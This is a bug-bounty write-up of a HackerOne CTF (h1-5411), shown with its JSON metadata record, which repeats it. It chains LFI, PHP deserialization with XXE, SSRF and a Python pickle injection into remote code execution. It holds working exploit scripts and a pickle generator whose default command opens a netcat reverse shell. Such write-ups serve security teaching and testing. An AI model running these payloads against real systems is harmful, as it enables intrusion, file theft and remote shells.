**Summary:**
After source code disclosure using a LFI vulnerability and using PHP object injection with XXE I was able to find an internal service at port 1337. Using the SSRF through XXE I sent a HTTP request to this internal service and discovered a python object injection using status parameter, with this vector I was able to get RCE on the server located at 104.248.121.85.
**Description:**
_LFI_
The *template* parameter at /api/generate.php is vulnerable to LFI. So I could get all relevant source code from the application using *type* as text. I created a python script to help:
```
import requests
import sys
url = 'http://h1-5411.h1ctf.com/api/'
endpoint = 'generate.php'
headers = {'Cookie':'PHPSESSID=v6a28uv6ad2e9ivr02hajqao4g'}
payload = {'template' : '../../../../../../..'+sys.argv[1], 'type' : 'text', 'top-text' : '.', 'bottom-text' :'.'}
r = requests.post(url+endpoint, headers=headers, data=payload)
json_response = r.json()
file_url = json_response['meme_path']
print file_url
r = requests.get(url+file_url)
print r.text
```
Using Burp:
{F352386}
Some files read during my tests:
1. /etc/passwd
2. /etc/issue
3. /etc/resolv.conf
4. /etc/hosts
5. /var/log/apt/history.log
6. App source code
_PHP Object Injection - Deserialization and XXE_
After read the code I discovered two endpoints for a future version, 2.0:
File: header.php
```
<?php
$pages = [
"generate.php" => "Meme Generator",
"memes.php" => "Your Memes",
// for version 2.0
// "import_memes_2.0.php" => "Import Memes",
// "export_memes_2.0.php" => "Export Memes"
];
?>
```
Looking into import_memes_2.0.php and export_memes_2.0.php I found an unserialization call using user input without validation, which is extremely dangerous. So I craft a payload serializing a *ConfigFile* object with XML in *config_raw* attribute, as __toString() method calls parse() witch then calls loadXML with libxml_disable_entity_loader ENABLED. So, we could obtain XXE and SSRF.
Using PHP to create the payload:
```
<?php
require_once('classes.php'); // Same I got using LFI
$t = new ConfigFile('http://localhost/h1-5411/xml2');
$x = new Maintenance();
$o = [$t, $x ];
echo base64_encode(serialize($o));
```
PHP Object example (b64 decoded):
```
a:2:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:276:"<?xml version='1.0' encoding='ISO-8859-1'?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue' >]>
<memes><toptext>&xxe;</toptext><bottomtext>A</bottomtext><template>TeMPLaTe123</template><type>XML</type></memes>
";}i:1;O:11:"Maintenance":0:{}}
```
File: xml2
```
<?xml version='1.0' encoding='ISO-8859-1'?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue' >]>
<memes><toptext>&xxe;</toptext><bottomtext>A</bottomtext><template>TeMPLaTe123</template><type>XML</type></memes>
```
Then using the serialized object above (ConfigFile), I uploaded my memepak using /import_memes_2.0.php and got the /etc/issue file base64 encoded as one of my memes.
__SSRF__
Using the above XXE we could manipulate the server to do requests for others internal services, as noted at source code there is a Maintenance service somewhere.
Using the python exploit attached {F352404}, I could read files and do http/ftp requests. Although I could do a port scan using http/ftp/sftp requests, I was able to find the internal service using a process ID scan using /proc/{ID}/cmdline, which revealed:
```
/proc
1
ps-run
4
/bin/bash/opt/run/ctf-entrypoint
6
ssh-i/app/92df63a566f599a094153febb133b99f87a161b5-oStrictHostKeyChecking=no-f-N-L1337:localhost:1337maintenance@104.248.121.85
8
/bin/sh/usr/sbin/apache2ctl-DFOREGROUND
```
So I found a ssh tunnel to another service at 104.248.121.85. Using the python script above, I started to interact with http://localhost:1337/ :
{F352398}
__Python Object Injection - Pickle__
Using the *debug* parameter I realized that *status* parameter should be base64 encoded. After that I could see a pickle base64 encoded as status. My first try was to request a status-update using a malicious pickle as status:
Creating a malicious pickle with a reverse shell:
```
import cPickle
import os
import sys
import base64
DEFAULT_COMMAND = "nc ███████ 9300 -e /bin/bash"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
```
Sending the above Pickle I got a connect back from the server.
{F352400}
## Steps To Reproduce:
I created some python scripts to reproduce.
1. Use {F352403} to read files from the server (LFI)
2. Use {F352404} to read files and do requests to internal services. Found http://localhost:1337
3. Use {F352406} to create a pickle payload for any OS command. With this payload, use {F352404} to send a request to http://localhost:1337/update-status?debug=1&status={PAYLOAD}
## Impact
Compromise data and servers.
{"id": "H1:415682", "type": "hackerone", "bulletinFamily": "bugbounty", "title": "h1-5411-CTF: Remote Command Execution in a internal server to get the flag file", "description": "**Summary:**\nAfter source code disclosure using a LFI vulnerability and using PHP object injection with XXE I was able to find an internal service at port 1337. Using the SSRF through XXE I sent a HTTP request to this internal service and discovered a python object injection using status parameter, with this vector I was able to get RCE on the server located at 104.248.121.85.\n\n**Description:**\n\n_LFI_\nThe *template* parameter at /api/generate.php is vulnerable to LFI. So I could get all relevant source code from the application using *type* as text. I created a python script to help:\n\n```\nimport requests\nimport sys\n\nurl = 'http://h1-5411.h1ctf.com/api/'\nendpoint = 'generate.php'\n\nheaders = {'Cookie':'PHPSESSID=v6a28uv6ad2e9ivr02hajqao4g'}\npayload = {'template' : '../../../../../../..'+sys.argv[1], 'type' : 'text', 'top-text' : '.', 'bottom-text' :'.'}\n\nr = requests.post(url+endpoint, headers=headers, data=payload)\njson_response = r.json()\n\nfile_url = json_response['meme_path']\nprint file_url\n\nr = requests.get(url+file_url)\nprint r.text\n```\n\nUsing Burp:\n{F352386}\n\nSome files read during my tests:\n1. /etc/passwd\n2. /etc/issue\n3. /etc/resolv.conf\n4. /etc/hosts\n5. /var/log/apt/history.log\n6. App source code\n\n_PHP Object Injection - Deserialization and XXE_\nAfter read the code I discovered two endpoints for a future version, 2.0:\n\nFile: header.php\n```\n<?php\n $pages = [\n \"generate.php\" => \"Meme Generator\",\n \"memes.php\" => \"Your Memes\",\n // for version 2.0\n // \"import_memes_2.0.php\" => \"Import Memes\",\n // \"export_memes_2.0.php\" => \"Export Memes\"\n ];\n?>\n```\n\nLooking into import_memes_2.0.php and export_memes_2.0.php I found an unserialization call using user input without validation, which is extremely dangerous. So I craft a payload serializing a *ConfigFile* object with XML in *config_raw* attribute, as __toString() method calls parse() witch then calls loadXML with libxml_disable_entity_loader ENABLED. So, we could obtain XXE and SSRF.\n\nUsing PHP to create the payload:\n```\n<?php\nrequire_once('classes.php'); // Same I got using LFI\n\n$t = new ConfigFile('http://localhost/h1-5411/xml2'); \n$x = new Maintenance();\n\n$o = [$t, $x ];\n\necho base64_encode(serialize($o));\n```\n\nPHP Object example (b64 decoded):\n```\na:2:{i:0;O:10:\"ConfigFile\":1:{s:10:\"config_raw\";s:276:\"<?xml version='1.0' encoding='ISO-8859-1'?>\n<!DOCTYPE foo [\n<!ELEMENT foo ANY >\n<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue' >]>\n<memes><toptext>&xxe;</toptext><bottomtext>A</bottomtext><template>TeMPLaTe123</template><type>XML</type></memes>\n\";}i:1;O:11:\"Maintenance\":0:{}}\n```\n\nFile: xml2\n```\n<?xml version='1.0' encoding='ISO-8859-1'?>\n<!DOCTYPE foo [\n<!ELEMENT foo ANY >\n<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue' >]>\n<memes><toptext>&xxe;</toptext><bottomtext>A</bottomtext><template>TeMPLaTe123</template><type>XML</type></memes>\n```\n\nThen using the serialized object above (ConfigFile), I uploaded my memepak using /import_memes_2.0.php and got the /etc/issue file base64 encoded as one of my memes.\n\n\n__SSRF__\n\nUsing the above XXE we could manipulate the server to do requests for others internal services, as noted at source code there is a Maintenance service somewhere.\n\nUsing the python exploit attached {F352404}, I could read files and do http/ftp requests. Although I could do a port scan using http/ftp/sftp requests, I was able to find the internal service using a process ID scan using /proc/{ID}/cmdline, which revealed:\n\n```\n/proc\n1\nps-run\n\n4\n/bin/bash/opt/run/ctf-entrypoint\n\n6\nssh-i/app/92df63a566f599a094153febb133b99f87a161b5-oStrictHostKeyChecking=no-f-N-L1337:localhost:1337maintenance@104.248.121.85\n\n8\n/bin/sh/usr/sbin/apache2ctl-DFOREGROUND\n```\n\nSo I found a ssh tunnel to another service at 104.248.121.85. Using the python script above, I started to interact with http://localhost:1337/ :\n {F352398}\n\n__Python Object Injection - Pickle__\n\nUsing the *debug* parameter I realized that *status* parameter should be base64 encoded. After that I could see a pickle base64 encoded as status. My first try was to request a status-update using a malicious pickle as status:\n\nCreating a malicious pickle with a reverse shell:\n```\nimport cPickle\nimport os\nimport sys\nimport base64\n\nDEFAULT_COMMAND = \"nc \u2588\u2588\u2588\u2588\u2588\u2588\u2588 9300 -e /bin/bash\"\n\nCOMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND\n\nclass PickleRce(object):\n def __reduce__(self):\n return (os.system,(COMMAND,))\n\nprint base64.b64encode(cPickle.dumps(PickleRce()))\n\n```\nSending the above Pickle I got a connect back from the server.\n\n{F352400}\n\n## Steps To Reproduce:\n\nI created some python scripts to reproduce.\n\n 1. Use {F352403} to read files from the server (LFI)\n 2. Use {F352404} to read files and do requests to internal services. Found http://localhost:1337\n 3. Use {F352406} to create a pickle payload for any OS command. With this payload, use {F352404} to send a request to http://localhost:1337/update-status?debug=1&status={PAYLOAD}\n\n## Impact\n\nCompromise data and servers.", "published": "2018-09-28T14:52:45", "modified": "2018-10-22T17:13:10", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://hackerone.com/reports/415682", "reporter": "manoelt", "references": [], "cvelist": [], "lastseen": "2018-11-02T04:26:23", "viewCount": 30, "enchantments": {"score": {"value": 0.6, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.6}, "bounty": 0.0, "bountyState": "resolved", "h1team": {"handle": "h1-5411-ctf", "profile_picture_urls": {"medium": "https://profile-photos.hackerone-user-content.com/000/033/314/78d6c799326d92d4cad56dc8c1899a7ea55bc7f2_medium.?1537539140", "small": "https://profile-photos.hackerone-user-content.com/000/033/314/1a0c110b0060c574d84b531160a0d2c58141ce6e_small.?1537539140"}, "url": "https://hackerone.com/h1-5411-ctf"}, "h1reporter": {"disabled": false, "hacker_mediation": false, "hackerone_triager": false, "is_me?": false, "profile_picture_urls": {"small": "https://profile-photos.hackerone-user-content.com/000/008/480/2d003b60f5a6ce8c6523ef37f94f8bc811c5b5a8_small.jpg?1541118483"}, "url": "/manoelt", "username": "manoelt"}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645714834}}